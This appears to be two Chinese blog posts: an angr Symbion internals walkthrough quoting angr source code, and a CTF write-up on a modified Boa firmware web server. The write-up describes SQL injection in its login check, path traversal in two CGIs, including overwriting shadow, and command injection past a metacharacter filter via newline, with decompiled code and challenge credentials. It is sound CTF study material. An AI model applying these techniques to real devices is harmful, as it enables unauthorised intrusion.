  在symboin中，使用的就是GDBTarget，同时实现了一系列方法，比如read_memory，write_memory，read_register，write_register等，这些大部分也是对avatar2相关api的包装，不过基于对gdb和gdbserver的了解，并不难理解实现这些功能的方法。在symbion的官方demo中可以看到接下来的动作就是以avatar_gdb创建Project，并对创造出来的state添加angr.options.SYMBION_SYNC_CLE 和 angr.options.SYMBION_KEEP_STUBS_ON_SYNC，对于这两个option官方有详细的解释，主要是用来控制concrete state和abstract state的同步，因此如何将concrete state成功的转化为abstract state，核心作用在于simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x85b853])，为了实现不同状态之间的转化，angr实现了SimEngineConcrete引擎，在该引擎中存在以下方法：

    def process_successors(self, successors, extra_stop_points=None, memory_concretize=None,
                           register_concretize=None, timeout=0, *args, **kwargs):
        new_state = self.state
        # setup the concrete process and resume the execution
        self.to_engine(new_state, extra_stop_points, memory_concretize, register_concretize, timeout)
        # sync angr with the current state of the concrete process using
        # the state plugin
        new_state.concrete.sync()
        successors.engine = "SimEngineConcrete"
        successors.sort = "SimEngineConcrete"
        successors.add_successor(new_state, new_state.ip, new_state.solver.true, new_state.unicorn.jumpkind)
        successors.description = "Concrete Successors"
        successors.processed = True

  其中to_engine则通过控制avatar2来实现将目标环境的程序运行到指定地址（断点位置），然后调用sync方法进行不同状态之间的同步，调试发现angr存在名为Concrete的插件：

class Concrete(SimStatePlugin):
    def __init__(self, segment_registers_initialized=False, segment_registers_callback_initialized=False,
                 whitelist=None, fs_register_bp=None, already_sync_objects_addresses=None,
                 ):
        super().__init__()
        self.segment_registers_initialized = segment_registers_initialized
        self.segment_registers_callback_initialized = segment_registers_callback_initialized
        if not whitelist:
            self.whitelist = []
        else:
            self.whitelist = whitelist
        self.synchronize_cle = False
        self.stubs_on_sync = False
        self.fs_register_bp = fs_register_bp
        if not already_sync_objects_addresses:
            self.already_sync_objects_addresses = []
        else:
            self.already_sync_objects_addresses = already_sync_objects_addresses
            
          .......

  通过该插件的sync方法，实现了远程目标环境的本地同步，其主要分为这几部分：

寄存器：

    def _sync_registers(self, register_names, target):
        for register_name in register_names:
            try:
                reg_value = target.read_register(register_name)
                setattr(self.state.regs, register_name, reg_value)
                l.debug("Register: %s value: %x ", register_name, self.state.solver.eval(getattr(self.state.regs,
                                                                                                 register_name),
                                                                                         cast_to=int))
            except SimConcreteRegisterError as exc:
                l.debug("Can't set register %s reason: %s, if this register is not used "
                        "this message can be ignored", register_name, exc)

  基本上就是获取远程目标状态的值进行本地化处理。

内存：

    def _sync_cle(self, target):
        def _check_mapping_name(cle_mapping_name, concrete_mapping_name):
            if cle_mapping_name == concrete_mapping_name:
                return True
            else:
                # removing version and extension information from the library name
                cle_mapping_name = re.findall(r"[\w']+", cle_mapping_name)
                concrete_mapping_name = re.findall(r"[\w']+", concrete_mapping_name)
                return cle_mapping_name[0] == concrete_mapping_name[0]
        l.debug("Synchronizing CLE backend with the concrete process memory mapping")
        try:
            vmmap = target.get_mappings()
        except NotImplementedError:
            l.critical("Can't synchronize CLE backend using the ConcreteTarget provided.")
            self.synchronize_cle = False  # so, deactivate this feature
            l.debug("CLE synchronization has been deactivated")
            return
        for mapped_object in self.state.project.loader.all_elf_objects:
            binary_name = os.path.basename(mapped_object.binary)
            # this object has already been sync, skip it.
            if binary_name in self.already_sync_objects_addresses:
                continue
            for mmap in vmmap:
                if _check_mapping_name(binary_name, mmap.name):
                    l.debug("Match! %s -> %s", mmap.name, binary_name)
                    # let's make sure that we have the header at this address to confirm that it is the
                    # base address.
                    # That's not a perfect solution, but should work most of the time.
                    result = target.read_memory(mmap.start_address, 0x10)
                    if self.state.project.loader.main_object.check_magic_compatibility(io.BytesIO(result)):
                        if mapped_object.mapped_base == mmap.start_address:
                            # We already have the correct address for this memory mapping
                            l.debug("Object %s is already rebased correctly at 0x%x", binary_name,
                                    mapped_object.mapped_base)
                            self.already_sync_objects_addresses.append(mmap.name)
                            break  # object has been synchronized, move to the next one!
                        # rebase the object if the CLE address doesn't match the real one,
                        # this can happen with PIE binaries and libraries.
                        l.debug("Remapping object %s mapped at address 0x%x at address 0x%x", binary_name,
                                mapped_object.mapped_base, mmap.start_address)
                        old_mapped_base = mapped_object.mapped_base
                        mapped_object.mapped_base = mmap.start_address  # Rebase now!
                        # TODO re-write this horrible thing
                        mapped_object.sections._rebase(abs(mmap.start_address - old_mapped_base))  # fix sections
                        mapped_object.segments._rebase(abs(mmap.start_address - old_mapped_base))  # fix segments
                        self.already_sync_objects_addresses.append(mmap.name)
                        break  # object has been synchronized, move to the next one!

  内存这块通过比对二进制文件的名字和从远程环境获取的vmmap所属内存的名字来确认如何同步本地环境，参考示意图：

SimProc:

• • SimProcess在angr里面起到非常重要的作用，这里需要对其进行重新hook，来恢复对于SimProcess的使用。

• • symbion所做的主要是以上三点，进而帮助用户搭建一个针对某些目标（比如嵌入式设备）运行时状态的本地恢复，来方便用户针对某些功能进行更好的分析验证，不过到目前为止我们知道了远程状态是如何建立的以及远程状态如何同步到angr本地的抽象环境，但是还不知道angr state是如何建立的，下面一起了解一下。

• • 在angr的Project里面有一个SimOS的概念，在我们初始化Project的时候一般是不需要指定的，angr会根据你加载的文件类型来进行自动化的匹配，当然如果加载的文件识别不出来，那可能需要你手动指定了。对于SimOS，angr实现了以下几种：

register_simos('linux', SimLinux)
register_simos('windows', SimWindows)
register_simos('cgc', SimCGC)
register_simos('javavm', SimJavaVM)

  这些不同的OS class里面都实现的有类似entry_state，blank_state这样的函数来帮助建立初始化的抽象环境。不过上述函数一般都是在state_blank函数上做封装处理，该函数用来初始化一个blank state。在state_blank最开始会根据ELF文件（或者其它平台类型的文件，这里以Linux平台作为例子）的段属性来创建对应的map信息：

            permission_map = { }
            for obj in self.project.loader.all_objects:
                for seg in obj.segments:
                    perms = 0
                    # bit values based off of protection bit values from sys/mman.h
                    if seg.is_readable:
                        perms |= 1  # PROT_READ
                    if seg.is_writable:
                        perms |= 2  # PROT_WRITE
                    if seg.is_executable:
                        perms |= 4  # PROT_EXEC
                    permission_map[(seg.min_addr, seg.max_addr)] = perms

然后根据栈的属性设置对应的权限：

          if stack_end is None:
            stack_end = self.arch.initial_sp
......  
              if self.project.loader.main_object.execstack:
            stack_perms = 1 | 2 | 4  # RWX
        else:
            stack_perms = 1 | 2  # RW

  （上图为32位程序，根据不同的程序位数，应该是有一个预设的栈帧开始位置）

  然后根据上述的一些文件信息初始化SimState类，经常用angr的人应该对这个类很熟悉，它代表的就是程序在进行符号执行时的state。

        state = SimState(self.project, stack_end=stack_end, stack_size=stack_size, stack_perms=stack_perms, **kwargs)

  在SimState初始化最开始的阶段一样是设置各种信息，这一块非常简单：

# pylint: disable=not-callable
class SimState(PluginHub):
    """
    The SimState represents the state of a program, including its memory, registers, and so forth.
    :param angr.Project project:    The project instance.
    :param archinfo.Arch|str arch:  The architecture of the state.
    :ivar regs:         A convenient view of the state's registers, where each register is a property
    :ivar mem:          A convenient view of the state's memory, a :class:`angr.state_plugins.view.SimMemView`
    :ivar registers:    The state's register file as a flat memory region
    :ivar memory:       The state's memory as a flat memory region
    :ivar solver:       The symbolic solver and variable manager for this state
    :ivar inspect:      The breakpoint manager, a :class:`angr.state_plugins.inspect.SimInspector`
    :ivar log:          Information about the state's history
    :ivar scratch:      Information about the current execution step
    :ivar posix:        MISNOMER: information about the operating system or environment model
    :ivar fs:           The current state of the simulated filesystem
    :ivar libc:         Information about the standard library we are emulating
    :ivar cgc:          Information about the cgc environment
    :ivar uc_manager:   Control of under-constrained symbolic execution
    :ivar unicorn:      Control of the Unicorn Engine
    """
    # Type Annotations for default plugins to allow type inference
    solver: 'SimSolver'
    posix: 'SimSystemPosix'
    registers: 'MemoryMixin'
    regs: 'SimRegNameView'
    memory: 'MemoryMixin'
    callstack: 'CallStack'
    mem: "SimMemView"
    callstack: 'CallStack'
    mem: "SimMemView"
    history: 'SimStateHistory'
    inspect: 'SimInspector'
    jni_references: "SimStateJNIReferences"
    scratch: "SimStateScratch"
    def __init__(
            self,
            project=None,
            arch=None,
            plugins=None,
            mode=None,
            options=None,
            add_options=None,
            remove_options=None,
            special_memory_filler=None,
            os_name=None,
            plugin_preset='default',
            cle_memory_backer=None,
            dict_memory_backer=None,
            permissions_map=None,
            default_permissions=3,
            stack_perms=None,
            stack_end=None,
            stack_size=None,
            regioned_memory_cls=None,
            **kwargs):
        if kwargs:
            l.warning("Unused keyword arguments passed to SimState: %s", " ".join(kwargs))
        super(SimState, self).__init__()
        self.project = project
        # Java & Java JNI
        self._is_java_project = self.project and self.project.is_java_project
        self._is_java_jni_project = self.project and self.project.is_java_jni_project
        # Arch
        if self._is_java_jni_project:
            self._arch = { "soot" : project.arch,
                           "vex"  : project.simos.native_simos.arch }
            # This flag indicates whether the current ip is a native address or
            # a soot address descriptor.
            # Note: We cannot solely rely on the ip to make that decsision,
            #       because the registers (storing the ip) are part of the
            #       plugins that are getting toggled (=> mutual dependence).
            self.ip_is_soot_addr = False
        else:
            self._arch = arch if arch is not None else project.arch.copy() if project is not None else None
            if type(self._arch) is str:
                self._arch = archinfo.arch_from_id(self._arch)
        # the options
        if options is None:
            if mode is None:
                l.warning("SimState defaulting to symbolic mode.")
                mode = "symbolic"
            options = o.modes[mode]
        if isinstance(options, (set, list)):
            options = SimStateOptions(options)
        if add_options is not None:
            options |= add_options
        if remove_options is not None:
            options -= remove_options
        self.options = options
        self.mode = mode
        self.supports_inspect = False
        # OS name
        self.os_name = os_name
        # This is used in static mode as we don't have any constraints there
        self._satisfiable = True
        self.uninitialized_access_handler = None
        self._special_memory_filler = special_memory_filler
        # this is a global condition, applied to all added constraints, memory reads, etc
        self._global_condition = None
        self.ip_constraints = []
        # plugins. lord help us
        if plugin_preset is not None:
            self.use_plugin_preset(plugin_preset)
        if plugins is not None:
            for n,p in plugins.items():
                self.register_plugin(n, p, inhibit_init=True)
.......

  既然最开始创建的是blank state，那么必然是不存在预设的插件的，因此angr会在这种默认条件下使用symbolic mode 和 sym_memory插件以及默认的register插件，这些都是angr实现抽象环境的核心组件，这些插件基本都继承SimStatePlugin类，在实现抽象化内存的设计中存在内存默认权限（3），默认的栈空间以及权限，基于cle.Loader选择的默认memory_backer，默认的空符号化地址集合等，同时将初始化后的结果注册为memory插件：

            else:
                sim_memory_cls = self.plugin_preset.request_plugin('sym_memory')
                sim_memory = sim_memory_cls(cle_memory_backer=cle_memory_backer, dict_memory_backer=dict_memory_backer, memory_id='mem',
                                            permissions_map=permissions_map, default_permissions=default_permissions,
                                            stack_perms=stack_perms, stack_end=stack_end, stack_size=stack_size)
            # Add memory plugin
            if not self._is_java_jni_project:
                self.register_plugin('memory', sim_memory, inhibit_init=True)

  对于寄存器来说，在抽象初始化过程中其实和上述的内存初始化过程很相似，因为对于angr来说同样使用经典的抽象内存映射寄存器结构：

            else:
                sim_registers_cls = self.plugin_preset.request_plugin('sym_memory')
                sim_registers = sim_registers_cls(memory_id="reg", endness=register_endness)
            # Add registers plugin
            if not self._is_java_jni_project:
                self.register_plugin('registers', sim_registers, inhibit_init=True)

  除了内存和寄存器之外，对于一个state比较重要的就是输入输出环境变量等这些内容了，angr的做法是实现了一个posix插件：

        state.register_plugin('posix', SimSystemPosix(stdin=stdin, brk=actual_brk))

class SimSystemPosix(SimStatePlugin):
    """
    Data storage and interaction mechanisms for states with an environment conforming to posix.
    Available as ``state.posix``.
    """
    #__slots__ = [ 'maximum_symbolic_syscalls', 'files', 'max_length' ]
    # some posix constants
    SIG_BLOCK=0
    SIG_UNBLOCK=1
    SIG_SETMASK=2
    EPERM      =     1 # /* Operation not permitted */
    ENOENT     =     2 # /* No such file or directory */
    ESRCH      =     3 # /* No such process */
    EINTR      =     4 # /* Interrupted system call */
    EIO        =     5 # /* I/O error */
    ENXIO      =     6 # /* No such device or address */
    E2BIG      =     7 # /* Argument list too long */
    ENOEXEC    =     8 # /* Exec format error */
    EBADF      =     9 # /* Bad file number */
    ECHILD     =    10 # /* No child processes */
    EAGAIN     =    11 # /* Try again */
    ENOMEM     =    12 # /* Out of memory */
    EACCES     =    13 # /* Permission denied */
    EFAULT     =    14 # /* Bad address */
    ENOTBLK    =    15 # /* Block device required */
    EBUSY      =    16 # /* Device or resource busy */
    EEXIST     =    17 # /* File exists */
    EXDEV      =    18 # /* Cross-device link */
    ENODEV     =    19 # /* No such device */
    ENOTDIR    =    20 # /* Not a directory */
    EISDIR     =    21 # /* Is a directory */
    EINVAL     =    22 # /* Invalid argument */
    ENFILE     =    23 # /* File table overflow */
    EMFILE     =    24 # /* Too many open files */
    ENOTTY     =    25 # /* Not a typewriter */
    ETXTBSY    =    26 # /* Text file busy */
    EFBIG      =    27 # /* File too large */
    ENOSPC     =    28 # /* No space left on device */
    ESPIPE     =    29 # /* Illegal seek */
    EROFS      =    30 # /* Read-only file system */
    EMLINK     =    31 # /* Too many links */
    EPIPE      =    32 # /* Broken pipe */
    EDOM       =    33 # /* Math argument out of domain of func */
    ERANGE     =    34 # /* Math result not representable */
    def __init__(self,
            stdin=None,
            stdout=None,
            stderr=None,
            fd=None,
            sockets=None,
            socket_queue=None,
            argv=None,
            argc=None,
            environ=None,
            auxv=None,
            tls_modules=None,
            sigmask=None,
            pid=None,
            ppid=None,
            uid=None,
            gid=None,
            brk=None):
        super().__init__()
        # some limits and constants
        self.sigmask_bits = 1024
        self.maximum_symbolic_syscalls = 255
        self.max_length = 2 ** 16
        self.argc = argc
        self.argv = argv
        self.environ = environ
        self.auxv = auxv
        self.tls_modules = tls_modules if tls_modules is not None else {}
        self.brk = brk if brk is not None else 0x1b00000
        self._sigmask = sigmask
        self.pid = 1337 if pid is None else pid
        self.ppid = 1336 if ppid is None else ppid
        self.uid = 1000 if uid is None else uid
        self.gid = 1000 if gid is None else gid
        self.dev_fs = None
        self.proc_fs = None
        self.autotmp_counter = 0
        self._closed_fds = []
        self.sockets = sockets if sockets is not None else {}
        self.socket_queue = socket_queue if socket_queue is not None else []
        if stdin is None:
            stdin = SimPacketsStream('stdin', write_mode=False, writable=False, ident='stdin')
        if stdout is None:
            stdout = SimPacketsStream('stdout', write_mode=True, writable=True, ident='stdout')
        if stderr is None:
            stderr = SimPacketsStream('stderr', write_mode=True, writable=True, ident='stderr')
        if fd is None:
            fd = {}
            tty = SimFileDescriptorDuplex(stdin, stdout)
            # the initial fd layout just looks like this:
            # lrwx------ 1 audrey audrey 64 Jan 17 14:21 0 -> /dev/pts/4
            # lrwx------ 1 audrey audrey 64 Jan 17 14:21 1 -> /dev/pts/4
            # lrwx------ 1 audrey audrey 64 Jan 17 14:21 2 -> /dev/pts/4
            # but we want to distinguish the streams. we compromise by having 0 and 1 go to the "tty"
            # and stderr goes to a special stderr file
            fd[0] = tty
            fd[1] = tty
            fd[2] = SimFileDescriptor(stderr, 0)
        self.fd = fd
        # these are the storage mechanisms!
        self.stdin = stdin
        self.stdout = stdout
        self.stderr = stderr

  其中SimPacketsStream是基于SimFileBase实现的一个抽象结构（类似linux的fd），用来实现标准输入输出等的读写操作。接下来将一些默认值写入到新的State里面，比如sp，以及将ip寄存机设置到入口点等最后一个抽象环境就创建完成了，接下来就是分配栈空间：

        if not self._is_core and hasattr(state.memory, 'allocate_stack_pages'):
            state.memory.allocate_stack_pages(state.solver.eval(state.regs.sp) - 1, 0x20 * 0x1000)

为state注册文件系统：

        state.register_plugin('fs', SimFilesystem(files=fs, pathsep=pathsep, cwd=cwd, mountpoints=mounts))

  这个文件系统也非常抽象，基本就是实现了挂载映射和对于文件的简单存储。然后就进入对抽象state的信息填充环节，args设置，env设置，argc设置等：

        filename = self.project.filename or 'dummy_filename'
        if args is None:
            args = [filename]
        if env is None:
            env = {}
        # Prepare argc
        if argc is None:
            argc = claripy.BVV(len(args), 32)
        elif type(argc) is int:  # pylint: disable=unidiomatic-typecheck
            argc = claripy.BVV(argc, 32)

并使用StringTableSpec（这就是一个用来存储字符串的结构）来对这些信息进行存储，不过在添加字符串的时候会使用基于claripy.BVV等的变量。并在state里面设置env指针等信息来初始化执行环境。其它的entry_state应该就是基于最原始的抽象环境对一些内容填充（不过这块我没调试，有兴趣可以调试看看）。因此综上所述，symbion的特点就是实现了抽象环境和具体执行环境之间的动态切换，来帮助缓解漏洞挖掘或者程序分析过程中对于模拟环境和模拟执行数据的依赖，其总结就分为三个步骤：

1. 1. 初始化具体执行环境，比如gdbserver提供的远程环境，而且一般在程序刚开始执行的时候一般初始化entry point。

2. 2. 当程序执行到需要进行符号执行的时候将寄存器和内存信息同步到符号执行引擎，对state进行恢复。

3. 3. 当符号执行引擎到达目标位置的时候收集变量约束信息进行约束求解，然后赋值给具体化环境，进而让具体化环境也达到相同的位置。

如果有什么偏差，还望指正。

阅读原文

跳转微信打开

2022西湖论剑线下部分个人觉得有比较意思的题目复现: )

2022西湖论剑线下赛部分题解

  2022西湖论剑线下部分个人觉得有比较意思的题目复现: )

固件1

xhttp

  尝试直接访问index.html或者cgi只会收到400错误，说明发送的请求格式有问题。所以本来打算直接调试，但是由于gdb似乎对mips16到mips32切换支持的不是很好，很难调试。

$ curl -v http://192.168.1.1:8080/index.html   
*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)
> GET /index.html HTTP/1.1
> Host: 192.168.1.1:8080
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 400 Bad Request
< Date: Sat, 03 Dec 2022 09:22:41 GMT
< Server: Boa/0.94.14rc21
< Accept-Ranges: bytes
< Connection: close
< Content-Type: text/html; charset=ISO-8859-1
< 
<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY><H1>400 Bad Request</H1>
Your client has issued a malformed or illegal request.
</BODY></HTML>
* Closing connection 0

  所以比对boa源码，根据fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")得知版本为0.94.14rc21；然后就是定位大概题目编译的boa程序在哪一阶段会对请求做额外处理。根据boa.conf，在tmp下有日志文件：

ErrorLog /tmp/error_log
# AccessLog: The location of the access log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable.
# Useful to set to /dev/stdout for use with daemontools.
# Access logging.  
# Please NOTE: Sending the logs to a pipe ('|'), as shown below,
#  is somewhat experimental and might fail under heavy load.
# "Usual libc implementations of printf will stall the whole
#  process if the receiving end of a pipe stops reading."
#AccessLog  "|/usr/sbin/cronolog --symlink=/var/log/boa/access_log /var/log/boa/access-%Y%m%d.log"
AccessLog /tmp/access_log

  而源码中表示http头部和body处理应该分别在read_header和read_body。可以重新开启xhttpd服务并添加debug参数，这样可以在日志中查看更具体的信息。

if (retval == 1) {
            switch (current->status) {
            case READ_HEADER:
            case ONE_CR:
            case ONE_LF:
            case TWO_CR:
                retval = read_header(current);
                break;
            case BODY_READ:
                retval = read_body(current);
                break;
            case BODY_WRITE:
                retval = write_body(current);
                break;
            case WRITE:
                retval = process_get(current);
                break;
            case PIPE_READ:
                retval = read_from_pipe(current);
                break;
            case PIPE_WRITE:
                retval = write_from_pipe(current);
                break;
            case IOSHUFFLE:
            }
}

  如图在构造GET方法和POST方法后都停在了对header解析的阶段，所以很有可能题目中添加了对header某些字段的检查；通过比对应源码中read_header->process_option_line解析header中的字段并且添加到request中的键值对，而在题目中对应解析函数(sub_45F8A0)中多了一个对于AUTHORIZATION的解析:

else if ( strcmp(v11, "ACCEPT") )
{
    v10 = memcmp(v11, "AUTHORIZATION", 13);
    if ( v10 )
        return add_cgi_env(a1, v11, v4, 0);
    if ( (unsigned int)strlen(v4) >= 0x101 || strncasecmp(v4, "Basic ", 6) || (v12 = (_BYTE *)strchr(v4, ':')) == 0 )
    {
        BadRequest(a1);
        return v10;
    }
    *v12 = 0;
    a1->mmap_entry_var = (void *)strdup(v4 + 6);
    a1->fd = strdup(v12 + 1);
}
return 1;

  这里需要AUTHORIZATION:Basic ?:?格式的字段，当然如果没有AUTHORIZATION的话也不会直接导致400问题，所以直接原因不是这里，但至少从这里可知很可能需要用户验证；a1->mmap_entry_var和a1->fd应该就是username, token(这个结构体直接导入的源码的，在源码中没有用户验证相关成员所以肯定是修改的)。process_option_line->add_cgi_env(request * req, const char *key, const char *value,int http_prefix)专门用于设置CGI环境，大致原理是为每个键值对key=value调用malloc分配空间保存，而http_prefix是否为0决定是在key前面添加HTTP_前缀。

  在解析process_option_line解析完字段后，没问题，就是访问文件或者cgi的阶段可能有限制；这在源码中read_header->process_header_end实现：

/* terminate string that begins at req->header_line */
if (req->logline) {
    if (process_option_line(req) == 0) {
        /* errors already logged */
        return 0;
    }
} else {
    if (process_logline(req) == 0)
        /* errors already logged */
        return 0;
    if (req->http_version == HTTP09)
        return process_header_end(req);
}
/*
 * Name: process_header_end
 *
 * Description: takes a request and performs some final checking before
 * init_cgi or init_get
 * Returns 0 for error or NPH, or 1 for success
 */
int process_header_end(request * req)

  源码中process_header_end会在调用init_cgi和init_get之前对uri进行解码、检查host等。而在xhttp中对应位置(sub_45F6B0)，出现了对username和token的校验：

v10 = a1->mmap_entry_var;
if ( !v10 )
    goto LABEL_9;
if ( !a1->fd )
    goto LABEL_9;
memset(v17, 0, sizeof(v17));
if ( sub_45F684((int)v17, (int)v10) )
    goto LABEL_9;
v4 = strcmp(v17, a1->fd);
if ( v4 )
{
    v4 = 0;
    BadRequest403((int)a1);
    return v4;
}
LABEL_9:
    BadRequest(a1);
    return 0;
//sub_45F684->sub_45F4F4
int __fastcall sub_45F4F4(int a1, int a2)
{
  const char *v3; // $v0
  int v4; // $s1
  int v6; // $s1
  _DWORD *v8; // [sp+2Ch] [-41Ch] BYREF
  const char *v9; // [sp+30h] [-418h] BYREF
  char v10[1024]; // [sp+34h] [-414h] BYREF
  v8 = 0;
  v9 = 0;
  if ( sub_45A9BC((int)"/tmp/user.db", (int *)&v8) )
  {
    v3 = sub_41FED4((int)v8);
    fprintf(stderr, "Cannot open database: %s\n", v3);
  }
  else
  {
    strcpy(v10, "SELECT * FROM User where Name='");
    strcat(v10, a2);
    strcat(v10, "';");
    v4 = sub_44895C(v8, v10, (int (__fastcall *)(int, int, int *, _DWORD *))sub_45EE64, a1, &v9);
    if ( !v4 )
    {
      sub_433CB8((int)v8);
      return v4;
    }
    v6 = stderr;
    fputs("Failed to select data\n", stderr);
    fprintf(v6, "SQL error: %s\n", v9);
    sub_407498((int)v9);
  }
  v4 = 1;
  sub_433CB8((int)v8);
  return v4;
}

  那么显然使用数据库存储用户信息，在这里会校验AUTHORIZATION中的用户信息，没有通过才直接导致的400/403问题。user.db文件：

sqlite> .table
User
sqlite> .schema
CREATE TABLE User(Id INT, Name TEXT, Password TEXT, Role TEXT);
sqlite> SELECT * FROM User;
1|guest|guest|2
2|admin|DmdcS14R|0

之后的cgi问题其实都不算难。

xhttp调试

  根据启动脚本来看，/usr/bin/www/index.html是可以访问的：

#!/bin/sh /etc/rc.common
START=99
start() {
    rm -rf /tmp/user.db
    echo 'hello' > /usr/bin/www/index.html
    /usr/bin/xhttpd &
}

  但是实际上却有问题，同理www下的cgi也一样不能直接访问。那么应该是websever做了一些处理，因此尝试调试对比Boa源码：fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")。但是gdb 远程调试过程中本机gdb-mutiarch无法正常运行，比如查看汇编出错，无法下断点，运行后无法断下：

  但是在调试器cgi程序时却能正常运行，估计是程序版本太高的原因，如上图函数开头并不是直接开栈而是save这个指令，应该和设置canary有关。而cgi子程序中没有出现这样的函数开头。因此暂时只能直接IDA静态比对。后来发现其编译选项是mips32r2和mips16：其中mips32r2表示mips架构某个指令集(ISA)而mips16表示使用拓展16位压缩指令集，这个模式下cpu可以执行同一文件中的32位/16位指令（MIPS Application Specific Extensions (ASE) - Imagination）(MIPS也有"thumb模式"我是万万没想到的，太菜了)

  由于xhttp编译的时候启用了-mips16，可以在gdb中设置architecture mips:16获得正常的汇编输出，而他的依赖库libgcc_s.so.1,libc.so都没有开启也就是正常的mips32 ISA，所以在调试时如果遇到入库和出库情况gdb就会搞不清楚而出错！

编译高版本gdb/gdbserver

  尝试高版本gdb+gdbserver解决调试问题，从GNU下载的gdb源码包括gdbserver，在编译时需要注意configure配置：

• • host：The system that is going to run the software once it is built. Once the software has been built, it will execute on this particular system.

• • 即编译完成的二进制文件要放在什么架构的host上 跑

• • build：The system where the build process is being executed. For most uses this would be the same as the host system, but in case of cross-compilation the two obviously differ.

• • 二进制文件在什么架构上编译的，一般和host一样

• • target：The system against which the software being built will run on. This only exists, or rather has a meaning, when the software being built may interact specifically with a system that differs from the one it's being executed on (our host). This is the case for compilers, debuggers, profilers and analyzers and other tools in general.

• • 这个仅当二进制运行时需要和某个特定架构交互，而这个特定架构与该host架构不同时才有效。如gdbserver不需要指定target，而gdb要remote到某个异架构端时就需要指定target了。

  在本地编译时gdb总是遇到GMP is missing or unusable错误，以各种方式安装libgmp都无法解决(见gdbserver-all-in-one 手册 | SkYe231 Blog (mrskye.cn)）。用以下命令编译gdbserver：

mkdir build && cd build
../configure --host=mipsel-linux-gnu
make -j8 all-gdbserver CFLAGS='-mips32r2 -O2 -static' CXXFLAGS='-mips32r2 -O2 -static'
mips-linux-gnu-strip ./gdbserver

  编译出来的gdbserver成功运行在设备上，但是问题一样存在(悲)。那么如果没有调试环境怎么确定Boa源码做了哪些修改呢，可以尝试符号恢复(试了效果不好)。

get.cgi

  通过boa源码可知子进程调用使用了pipe管道和父进程交互：

漏洞位于main->sub_408020->sub_408064->sub_408098：

int sub_408098()
{
  int v1; // [sp+18h] [+18h]
  char v2[128]; // [sp+1Ch] [+1Ch] BYREF
  char v3[40]; // [sp+9Ch] [+9Ch] BYREF
  char v4[1028]; // [sp+C4h] [+C4h] BYREF
  strcpy(v2, "/usr/bin/upload/");
  sub_4044D4((int)"name", v3, 30);
  strcat(v2, v3);
  v1 = fopen(v2, "rb");
  if ( !v1 )
    return fwrite("<p>File not found</p>\n", 1, 22, FileFD);
  memset(v4, 0, 1024);
  fread(v4, 1024, 1, v1);
  fclose(v1);
  fprintf(FileFD, v4);
  return system("rm -rf /usr/bin/upload/*");
}
int __fastcall sub_4044D4(int a1, _BYTE *buf, int a3)
{
  char **kv_name; // [sp+18h] [+18h]
  kv_name = (char **)sub_4070C0(a1);
  if ( kv_name )
    return sub_404898(kv_name, buf, a3, 0);
  *buf = 0;
  return 4;
}

  通过调试可知sub_4044D4是将调用get.cgi的name参数值赋值到v3中，而在sub_4044D4->sub_404898做了真正的赋值操作但是没有对目录穿越做限制(../)，只是对\n \r处理了一下，这里使用漏洞穿越即可cat flag：

diag.cgi

  在直接分析这个cgi之前，xhttpd中对其调用有校验操作，还需要用户对应的Role值为0也就是需要admin的权限。虽然admin的Token是随机的，但是在数据库函数中所使用的SQL语句是直接拼接的所以存在注入：

  回到cgi中，实现了一个ping和curl的测试功能，通过参数type选定具体功能，param参数选定ping或者curl的参数。sub_408258和sub_408304都存在很简单的命令拼接导致命令注入，sub_4080B8函数会对param进行过虑，但是没有过虑\n。因此利用diag.cgi需要SQL注入+\n绕过即可。不过需要注意的是需要用urlencode 发送特殊字符，然后由header(POST)字段中的application/x-www-form-urlencoded表明需要解码。

int sub_4083B0()
{
  char v1[28]; // [sp+18h] [+18h] BYREF
  char v2[68]; // [sp+34h] [+34h] BYREF
  sub_403D98((int)"type", v1, 20);
  sub_403D98((int)"param", v2, 64);
  if ( sub_4080B8(v2) )
    return fwrite("<p>wrong parameter</p>\n", 1, 23, dword_419154);
  if ( !strncmp(v1, "ping", 4) )
  {
    sub_408258(v2);
  }
  else if ( !strncmp(v1, "curl", 4) )
  {
    sub_408304(v2);
  }
  return fwrite("done\n", 1, 5, dword_419154);
}
int __fastcall sub_4080B8(int a1)
{
  int i; // [sp+18h] [+18h]
  int v3; // [sp+1Ch] [+1Ch]
  v3 = strlen(a1);
  for ( i = 0; i < v3; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == '`'
      || *(_BYTE *)(a1 + i) == '|'
      || *(_BYTE *)(a1 + i) == '$'
      || *(_BYTE *)(a1 + i) == '&'
      || *(_BYTE *)(a1 + i) == '('
      || *(_BYTE *)(a1 + i) == ')'
      || *(_BYTE *)(a1 + i) == '{'
      || *(_BYTE *)(a1 + i) == '}'
      || *(_BYTE *)(a1 + i) == ';' )
    {
      return 1;
    }
  }
  return 0;
}

upload.cgi

  在upload.cgi中存在目录穿越，限制了参数长度不超过25但是足够覆盖某些文件，比如shadow：

int sub_4080B8()
{
  int v1; // [sp+18h] [+18h]
  _DWORD *v2; // [sp+1Ch] [+1Ch] BYREF
  char fileName[2048]; // [sp+20h] [+20h] BYREF
  char v4[1024]; // [sp+820h] [+820h] BYREF
  int v5; // [sp+C20h] [+C20h] BYREF
  char v6[132]; // [sp+C24h] [+C24h] BYREF
  if ( sub_403E1C((int)"file", fileName, 1024) )
    return puts("<p>No file was uploaded.<p>");
  if ( (unsigned int)strlen(fileName) >= 25 )
    return puts("<p>Wrong parameter</p>");
  if ( sub_404248((int)"file", &v2) )
    return fwrite("Could not open the file.<p>\n", 1, 28, dword_419154);
  strcpy(v6, "/usr/bin/upload/");
  strcat(v6, fileName);
  v1 = fopen(v6, &dword_40888C);
  while ( !sub_4043C8(v2, (int)v4, 1024, &v5) )
    fwrite(v4, v5, 1, v1);
  fclose(v1);
  return sub_404480(v2);
}

